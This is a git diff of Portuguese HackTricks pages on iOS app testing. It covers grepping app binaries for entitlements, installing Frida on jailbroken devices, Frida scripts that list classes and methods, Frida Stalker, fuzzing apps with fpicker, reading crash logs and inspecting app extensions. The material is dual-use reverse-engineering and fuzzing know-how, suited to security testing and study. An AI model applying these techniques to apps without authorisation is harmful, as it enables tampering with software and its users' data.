Para binários de aplicativos acessados em dispositivos com jailbreak (por exemplo, via SSH), o comando **grep** com a flag `-a, --text` pode ser usado para tratar todos os arquivos como texto ASCII:
|
||||
```bash
|
||||
$ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/
|
||||
15E6A58F-1CA7-44A4-A9E0-6CA85B65FA35/Telegram X.app/Telegram\ X
|
||||
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>com.apple.security.application-groups</key>
|
||||
<array>
|
||||
...
|
||||
$ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/...
|
||||
```
|
||||
Brinque com a flag `-A num, --after-context=num` para exibir mais ou menos linhas. Você também pode usar ferramentas como as que apresentamos acima, se também as tiver instalado em seu dispositivo iOS com jailbreak.
|
||||
Ajustar a bandeira `-A num, --after-context=num` permite exibir mais ou menos linhas. Este método é viável mesmo para binários de aplicativos criptografados e foi verificado em vários aplicativos da App Store. As ferramentas mencionadas anteriormente também podem ser usadas em dispositivos iOS com jailbreak para fins semelhantes.
|
||||
|
||||
> Este método deve funcionar mesmo que o binário do aplicativo ainda esteja criptografado (foi testado contra vários aplicativos da App Store).
|
||||
**Nota**: O uso direto do comando `strings` não é recomendado para esta tarefa devido às suas limitações em encontrar informações relevantes. Em vez disso, é aconselhável empregar o grep com a bandeira `-a` no binário ou utilizar o radare2 (`izz`)/rabin2 (`-zz`) para obter resultados mais eficazes.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,32 +2,36 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
## Instalando o Frida
|
||||
|
||||
Vá para o aplicativo **Cydia/Sileo** em seu dispositivo com Jailbreak e adicione o repositório do Frida acessando **Gerenciar -> Fontes -> Editar -> Adicionar** e insira [**https://build.frida.re** ](https://build.frida.re). Isso adicionará uma nova fonte na lista de fontes. Vá para a **fonte do Frida**, agora você deve **instalar** o pacote **Frida**.
|
||||
**Passos para instalar o Frida em um dispositivo com Jailbreak:**
|
||||
|
||||
![](https://miro.medium.com/max/614/0\*qSD26kBtgt\_UIZk1.png)
|
||||
1. Abra o aplicativo Cydia/Sileo.
|
||||
2. Navegue até Gerenciar -> Fontes -> Editar -> Adicionar.
|
||||
3. Insira "https://build.frida.re" como URL.
|
||||
4. Vá para a nova fonte do Frida adicionada.
|
||||
5. Instale o pacote Frida.
|
||||
|
||||
Se você estiver usando **Corellium**, precisará baixar o lançamento do Frida de [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) (`frida-gadget-[suaversao]-ios-universal.dylib.gz`) e descompactar e copiar para o local do dylib que o Frida solicita, por exemplo: `/Users/[seuusuario]/.cache/frida/gadget-ios.dylib`
|
||||
Se você estiver usando **Corellium**, precisará baixar o lançamento do Frida em [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) (`frida-gadget-[sua versão]-ios-universal.dylib.gz`) e descompactar e copiar para a localização dylib solicitada pelo Frida, por exemplo: `/Users/[seu usuário]/.cache/frida/gadget-ios.dylib`
|
||||
|
||||
Após instalado, você pode usar em seu PC o comando **`frida-ls-devices`** e verificar se o dispositivo aparece (seu PC precisa poder acessá-lo).\
|
||||
Execute também **`frida-ps -Uia`** para verificar os processos em execução do telefone.
|
||||
Após instalado, você pode usar o comando **`frida-ls-devices`** em seu PC e verificar se o dispositivo aparece (seu PC precisa ter acesso a ele).\
|
||||
Execute também **`frida-ps -Uia`** para verificar os processos em execução no telefone.
|
||||
|
||||
## Frida sem dispositivo com Jailbreak e sem patching do aplicativo
|
||||
## Frida sem dispositivo com Jailbreak e sem patchear o aplicativo
|
||||
|
||||
Confira este post do blog sobre como usar o Frida em dispositivos sem Jailbreak sem patching do aplicativo: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
|
||||
Confira este post no blog sobre como usar o Frida em dispositivos não-jailbroken sem patchear o aplicativo: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
|
||||
|
||||
## Instalação do Cliente Frida
|
||||
|
||||
|
@ -36,7 +40,7 @@ Instale as **ferramentas do frida**:
|
|||
pip install frida-tools
|
||||
pip install frida
|
||||
```
|
||||
Com o servidor Frida instalado e o dispositivo em funcionamento e conectado, **verifique** se o cliente está **funcionando**:
|
||||
Com o servidor Frida instalado e o dispositivo em execução e conectado, **verifique** se o cliente está **funcionando**:
|
||||
```bash
|
||||
frida-ls-devices # List devices
|
||||
frida-ps -Uia # Get running processes
|
||||
|
@ -61,7 +65,7 @@ frida-trace -U -W <if-plugin-bin> -m '*[* *]'
|
|||
```
|
||||
### Obter todas as classes e métodos
|
||||
|
||||
* Auto completar: Simplesmente execute `frida -U <programa>`
|
||||
* Autocompletar: Basta executar `frida -U <programa>`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (687).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -85,7 +89,9 @@ console.log(className);
|
|||
console.log("Objective-C runtime is not available.");
|
||||
}
|
||||
```
|
||||
* Obtenha **todos** os **métodos** de uma **classe** (filtrar por string)
|
||||
{% endcode %}
|
||||
|
||||
* Obter **todos** os **métodos** de uma **classe** (filtrar por string)
|
||||
|
||||
{% code title="/tmp/script.js" %}
|
||||
```javascript
|
||||
|
@ -147,9 +153,9 @@ console.log("loaded");
|
|||
|
||||
### Frida Stalker
|
||||
|
||||
Stalker é o **motor de rastreamento de código** do Frida. Ele permite que threads sejam **seguidas**, **capturando** cada função, **cada bloco**, até mesmo cada instrução executada.
|
||||
[A partir da documentação](https://frida.re/docs/stalker/#:~:text=Stalker%20is%20Frida's%20code%20tracing,every%20instruction%20which%20is%20executed.): Stalker é o **motor de rastreamento** de código do Frida. Ele permite que threads sejam **seguidas**, **capturando** cada função, **cada bloco**, até mesmo cada instrução que é executada.
|
||||
|
||||
Você tem um exemplo implementando Frida Stalker em [https://github.com/poxyran/misc/blob/master/frida-stalker-example.py](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py)
|
||||
Você tem um exemplo implementando o Frida Stalker em [https://github.com/poxyran/misc/blob/master/frida-stalker-example.py](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py)
|
||||
|
||||
Este é outro exemplo para anexar o Frida Stalker toda vez que uma função é chamada:
|
||||
```javascript
|
||||
|
@ -190,9 +196,9 @@ Isso é interessante para fins de depuração, mas para fuzzing, estar constante
|
|||
|
||||
## [Fpicker](https://github.com/ttdennis/fpicker)
|
||||
|
||||
[**fpicker**](https://github.com/ttdennis/fpicker) é um **conjunto de ferramentas de fuzzing baseado em Frida** que oferece uma variedade de modos de fuzzing para fuzzing em processo, como um modo AFL++ ou um modo de rastreamento passivo. Deve funcionar em todas as plataformas suportadas pelo Frida.
|
||||
[**fpicker**](https://github.com/ttdennis/fpicker) é uma **suite de fuzzing baseada em Frida** que oferece uma variedade de modos de fuzzing para fuzzing em processo, como um modo AFL++ ou um modo de rastreamento passivo. Deve ser executado em todas as plataformas suportadas pelo Frida.
|
||||
|
||||
* [**Instale fpicker**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa**
|
||||
* [**Instalar fpicker**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa**
|
||||
```bash
|
||||
# Get fpicker
|
||||
git clone https://github.com/ttdennis/fpicker
|
||||
|
@ -211,7 +217,7 @@ make fpicker-[yourOS] # fpicker-macos
|
|||
# Install radamsa (fuzzer generator)
|
||||
brew install radamsa
|
||||
```
|
||||
* **Prepare o FS:**
|
||||
* **Preparar o FS:**
|
||||
```bash
|
||||
# From inside fpicker clone
|
||||
mkdir -p examples/wg-log # Where the fuzzing script will be
|
||||
|
@ -284,7 +290,9 @@ this.target_function(this.wg_log_global_ptr, this.tag, this.payload);
|
|||
const f = new WGLogFuzzer();
|
||||
rpc.exports.fuzzer = f;
|
||||
```
|
||||
* **Compile** o fuzzer:
|
||||
{% endcode %}
|
||||
|
||||
* **Compilar** o fuzzer:
|
||||
```bash
|
||||
# From inside fpicker clone
|
||||
## Compile from "myfuzzer.js" to "harness.js"
|
||||
|
@ -301,20 +309,20 @@ fpicker -v --fuzzer-mode active -e attach -p <Program to fuzz> -D usb -o example
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
Neste caso, **não estamos reiniciando o aplicativo ou restaurando o estado** após cada carga útil. Assim, se o Frida encontrar um **crash**, os **próximos inputs** após essa carga também podem **crashar o aplicativo** (porque o aplicativo está em um estado instável), mesmo que o **input não devesse crashar** o aplicativo.
|
||||
Neste caso, **não estamos reiniciando o aplicativo ou restaurando o estado** após cada payload. Portanto, se o Frida encontrar uma **falha**, as **próximas entradas** após esse payload também podem **fazer o aplicativo falhar** (porque o aplicativo está em um estado instável), mesmo que a **entrada não devesse fazer o aplicativo falhar**.
|
||||
|
||||
Além disso, o Frida vai se conectar aos sinais de exceção do iOS, então quando **o Frida encontrar um crash**, provavelmente um **relatório de crash do iOS não será gerado**.
|
||||
Além disso, o Frida irá se conectar aos sinais de exceção do iOS, então quando o **Frida encontrar uma falha**, provavelmente um **relatório de falha do iOS não será gerado**.
|
||||
|
||||
Para prevenir isso, por exemplo, poderíamos reiniciar o aplicativo após cada crash do Frida.
|
||||
Para evitar isso, por exemplo, poderíamos reiniciar o aplicativo após cada falha do Frida.
|
||||
{% endhint %}
|
||||
|
||||
### Logs & Crashes
|
||||
### Logs & Falhas
|
||||
|
||||
Você pode verificar o **console do macOS** ou o cli **`log`** para checar os logs do macOS.\
|
||||
Você pode verificar o **console do macOS** ou o **`log`** cli para verificar os logs do macOS.\
|
||||
Você também pode verificar os logs do iOS usando **`idevicesyslog`**.\
|
||||
Alguns logs vão omitir informações adicionando **`<private>`**. Para mostrar todas as informações, você precisa instalar algum perfil de [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/) para habilitar essas informações privadas.
|
||||
Alguns logs omitirão informações adicionando **`<private>`**. Para mostrar todas as informações, você precisa instalar algum perfil em [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/) para habilitar essas informações privadas.
|
||||
|
||||
Se você não sabe o que fazer:
|
||||
Se você não souber o que fazer:
|
||||
```sh
|
||||
vim /Library/Preferences/Logging/com.apple.system.logging.plist
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
@ -328,35 +336,38 @@ vim /Library/Preferences/Logging/com.apple.system.logging.plist
|
|||
|
||||
killall -9 logd
|
||||
```
|
||||
Você pode verificar os crashes em:
|
||||
Podes verificar os crashes em:
|
||||
|
||||
* **iOS**
|
||||
* Configurações → Privacidade → Análise & Melhorias → Dados de Análise
|
||||
* `/private/var/mobile/Library/Logs/CrashReporter/`
|
||||
* **macOS**:
|
||||
* `/Library/Logs/DiagnosticReports/`
|
||||
* `~/Library/Logs/DiagnosticReports`
|
||||
- **iOS**
|
||||
- Settings → Privacy → Analytics & Improvements → Analytics Data
|
||||
- `/private/var/mobile/Library/Logs/CrashReporter/`
|
||||
- **macOS**:
|
||||
- `/Library/Logs/DiagnosticReports/`
|
||||
- `~/Library/Logs/DiagnosticReports`
|
||||
|
||||
{% hint style="warning" %}
|
||||
O iOS só armazena 25 crashes do mesmo aplicativo, então você precisa limpar isso ou o iOS vai parar de criar crashes.
|
||||
iOS armazena apenas 25 crashes do mesmo aplicativo, então é necessário limpar isso ou o iOS deixará de criar crashes.
|
||||
{% endhint %}
|
||||
|
||||
## Tutoriais de Frida para Android
|
||||
## Tutoriais Frida Android
|
||||
|
||||
{% content-ref url="../android-app-pentesting/frida-tutorial/" %}
|
||||
[frida-tutorial](../android-app-pentesting/frida-tutorial/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Referências
|
||||
- [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
- Se quiser ver a **sua empresa anunciada no HackTricks** ou **descarregar o HackTricks em PDF** Consulte os [**PLANOS DE SUBSCRIÇÃO**](https://github.com/sponsors/carlospolop)!
|
||||
- Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
- Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), a nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
- **Partilhe os seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,191 +2,76 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Conteúdo copiado de** [**https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#app-extensions**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#app-extensions)
|
||||
As extensões de aplicativos aprimoram a funcionalidade dos aplicativos, permitindo que eles interajam com outros aplicativos ou com o sistema, fornecendo recursos ou conteúdo personalizado. Essas extensões incluem:
|
||||
|
||||
As extensões de aplicativos permitem que os apps ofereçam funcionalidades e conteúdos personalizados aos usuários enquanto eles interagem com outros aplicativos ou o sistema. Algumas notáveis incluem:
|
||||
- **Teclado Personalizado**: Oferece um teclado exclusivo em todos os aplicativos, substituindo o teclado padrão do iOS.
|
||||
- **Compartilhar**: Permite compartilhar em redes sociais ou com outras pessoas diretamente.
|
||||
- **Hoje (Widgets)**: Fornece conteúdo ou realiza tarefas rapidamente a partir da visualização Hoje do Centro de Notificações.
|
||||
|
||||
* **Teclado Personalizado**: substitui o teclado do sistema iOS por um teclado personalizado para uso em todos os aplicativos.
|
||||
* **Compartilhar**: publicar em um site de compartilhamento ou compartilhar conteúdo com outros.
|
||||
* **Hoje**: também chamados de **widgets**, oferecem conteúdo ou realizam tarefas rápidas na visualização de Hoje do Centro de Notificações.
|
||||
|
||||
Por exemplo, o usuário seleciona texto no _aplicativo hospedeiro_, clica no botão "Compartilhar" e seleciona um "aplicativo" ou ação da lista. Isso aciona a _extensão do aplicativo_ do _aplicativo contenedor_. A extensão do aplicativo exibe sua visualização dentro do contexto do aplicativo hospedeiro e usa os itens fornecidos pelo aplicativo hospedeiro, o texto selecionado neste caso, para realizar uma tarefa específica (postá-lo em uma rede social, por exemplo). Veja esta imagem do [Guia de Programação de Extensões de Aplicativos da Apple](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionOverview.html#//apple_ref/doc/uid/TP40014214-CH2-SW13) que resume muito bem isso:
|
||||
|
||||
![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc_%2F-Lf1AQx9khfTwUwYuMti%2Fapp_extensions_communication.png?alt=media)
|
||||
Quando um usuário interage com essas extensões, como compartilhar texto de um aplicativo hospedeiro, a extensão processa essa entrada dentro de seu contexto, aproveitando as informações compartilhadas para realizar sua tarefa, conforme detalhado na documentação da Apple.
|
||||
|
||||
### **Considerações de Segurança**
|
||||
|
||||
Do ponto de vista da segurança, é importante notar que:
|
||||
Aspectos de segurança chave incluem:
|
||||
|
||||
* Uma **extensão de aplicativo nunca se comunica diretamente com seu aplicativo contenedor** (tipicamente, nem está em execução enquanto a extensão do aplicativo contida está em execução).
|
||||
* Uma **extensão de aplicativo** e o **aplicativo hospedeiro** **comunicam-se** via **comunicação entre processos**.
|
||||
* Um **aplicativo contenedor** de uma **extensão de aplicativo** e o **aplicativo hospedeiro não se comunicam** de forma alguma.
|
||||
* Um **widget Hoje** (e nenhum outro tipo de extensão de aplicativo) pode pedir ao sistema para abrir seu aplicativo contenedor chamando o método `openURL:completionHandler:` da classe `NSExtensionContext`.
|
||||
* Qualquer **extensão de aplicativo** e seu **aplicativo contenedor** podem **acessar dados compartilhados em um contêiner compartilhado privadamente** definido.
|
||||
* Extensões de aplicativos **não podem acessar algumas APIs**, por exemplo, HealthKit.
|
||||
* Elas **não podem receber dados usando AirDrop**, mas podem enviar dados.
|
||||
* **Não são permitidas tarefas de fundo de longa duração**, mas podem ser iniciados uploads ou downloads.
|
||||
* Extensões de aplicativos **não podem acessar a câmera ou o microfone em um dispositivo iOS** (exceto para extensões de aplicativos iMessage).
|
||||
- As extensões e seus aplicativos contêineres se comunicam via comunicação entre processos, não diretamente.
|
||||
- O **widget Hoje** é único, pois pode solicitar que seu aplicativo seja aberto por um método específico.
|
||||
- O acesso a dados compartilhados é permitido dentro de um contêiner privado, mas o acesso direto é restrito.
|
||||
- Certas APIs, incluindo HealthKit, são proibidas para extensões de aplicativos, que também não podem iniciar tarefas de longa duração, acessar a câmera ou o microfone, exceto para extensões do iMessage.
|
||||
|
||||
### Análise Estática
|
||||
|
||||
#### **Verificando se o Aplicativo Contém Extensões de Aplicativos**
|
||||
#### **Identificando Extensões de Aplicativos**
|
||||
|
||||
Se você tem o código-fonte original, pode procurar por todas as ocorrências de `NSExtensionPointIdentifier` com o Xcode (cmd+shift+f) ou dar uma olhada em "Build Phases / Embed App extensions":
|
||||
Para encontrar extensões de aplicativos no código-fonte, procure por `NSExtensionPointIdentifier` no Xcode ou inspecione o pacote do aplicativo em busca de arquivos `.appex` que indicam extensões. Sem o código-fonte, use grep ou SSH para localizar esses identificadores dentro do pacote do aplicativo.
|
||||
|
||||
![](<../../.gitbook/assets/image (496).png>)
|
||||
#### **Tipos de Dados Suportados**
|
||||
|
||||
Lá você pode encontrar os nomes de todas as extensões de aplicativos embutidas seguidas por `.appex`, agora você pode navegar até as extensões de aplicativos individuais no projeto.
|
||||
Verifique o arquivo `Info.plist` de uma extensão para `NSExtensionActivationRule` para identificar os tipos de dados suportados. Essa configuração garante que apenas os tipos de dados compatíveis acionem a extensão nos aplicativos hospedeiros.
|
||||
|
||||
Se não tiver o código-fonte original:
|
||||
#### **Compartilhamento de Dados**
|
||||
|
||||
Grep por `NSExtensionPointIdentifier` entre todos os arquivos dentro do pacote do aplicativo (IPA ou aplicativo instalado):
|
||||
```bash
|
||||
$ grep -nr NSExtensionPointIdentifier Payload/Telegram\ X.app/
|
||||
Binary file Payload/Telegram X.app//PlugIns/SiriIntents.appex/Info.plist matches
|
||||
Binary file Payload/Telegram X.app//PlugIns/Share.appex/Info.plist matches
|
||||
Binary file Payload/Telegram X.app//PlugIns/NotificationContent.appex/Info.plist matches
|
||||
Binary file Payload/Telegram X.app//PlugIns/Widget.appex/Info.plist matches
|
||||
Binary file Payload/Telegram X.app//Watch/Watch.app/PlugIns/Watch Extension.appex/Info.plist matches
|
||||
```
|
||||
Você também pode acessar via SSH, encontrar o pacote do aplicativo e listar todos os PlugIns internos (eles são colocados lá por padrão) ou fazer isso com objection:
|
||||
```bash
|
||||
ph.telegra.Telegraph on (iPhone: 11.1.2) [usb] # cd PlugIns
|
||||
/var/containers/Bundle/Application/15E6A58F-1CA7-44A4-A9E0-6CA85B65FA35/
|
||||
Telegram X.app/PlugIns
|
||||
O compartilhamento de dados entre um aplicativo e sua extensão requer um contêiner compartilhado, configurado via "Grupos de Aplicativos" e acessado por meio de `NSUserDefaults`. Este espaço compartilhado é necessário para transferências em segundo plano iniciadas por extensões.
|
||||
|
||||
ph.telegra.Telegraph on (iPhone: 11.1.2) [usb] # ls
|
||||
NSFileType Perms NSFileProtection Read Write Name
|
||||
------------ ------- ------------------ ------ ------- -------------------------
|
||||
Directory 493 None True False NotificationContent.appex
|
||||
Directory 493 None True False Widget.appex
|
||||
Directory 493 None True False Share.appex
|
||||
Directory 493 None True False SiriIntents.appex
|
||||
```
|
||||
#### **Determinando os Tipos de Dados Suportados**
|
||||
#### **Restringindo Extensões**
|
||||
|
||||
Isso é importante para dados sendo compartilhados com aplicativos hospedeiros (por exemplo, via Extensões de Compartilhamento ou Ação). Quando o usuário seleciona algum tipo de dado em um aplicativo hospedeiro e ele corresponde aos tipos de dados definidos aqui, o aplicativo hospedeiro oferecerá a extensão. Vale a pena notar a diferença entre isso e o compartilhamento de dados via `UIActivity`, onde tivemos que definir os tipos de documentos, também usando UTIs. Um aplicativo não precisa ter uma extensão para isso. É possível compartilhar dados usando apenas `UIActivity`.
|
||||
|
||||
Inspecione o arquivo `Info.plist` da extensão do aplicativo e procure por `NSExtensionActivationRule`. Essa chave especifica os dados sendo suportados, bem como, por exemplo, o máximo de itens suportados. Por exemplo:
|
||||
```markup
|
||||
<key>NSExtensionAttributes</key>
|
||||
<dict>
|
||||
<key>NSExtensionActivationRule</key>
|
||||
<dict>
|
||||
<key>NSExtensionActivationSupportsImageWithMaxCount</key>
|
||||
<integer>10</integer>
|
||||
<key>NSExtensionActivationSupportsMovieWithMaxCount</key>
|
||||
<integer>1</integer>
|
||||
<key>NSExtensionActivationSupportsWebURLWithMaxCount</key>
|
||||
<integer>1</integer>
|
||||
</dict>
|
||||
</dict>
|
||||
```
|
||||
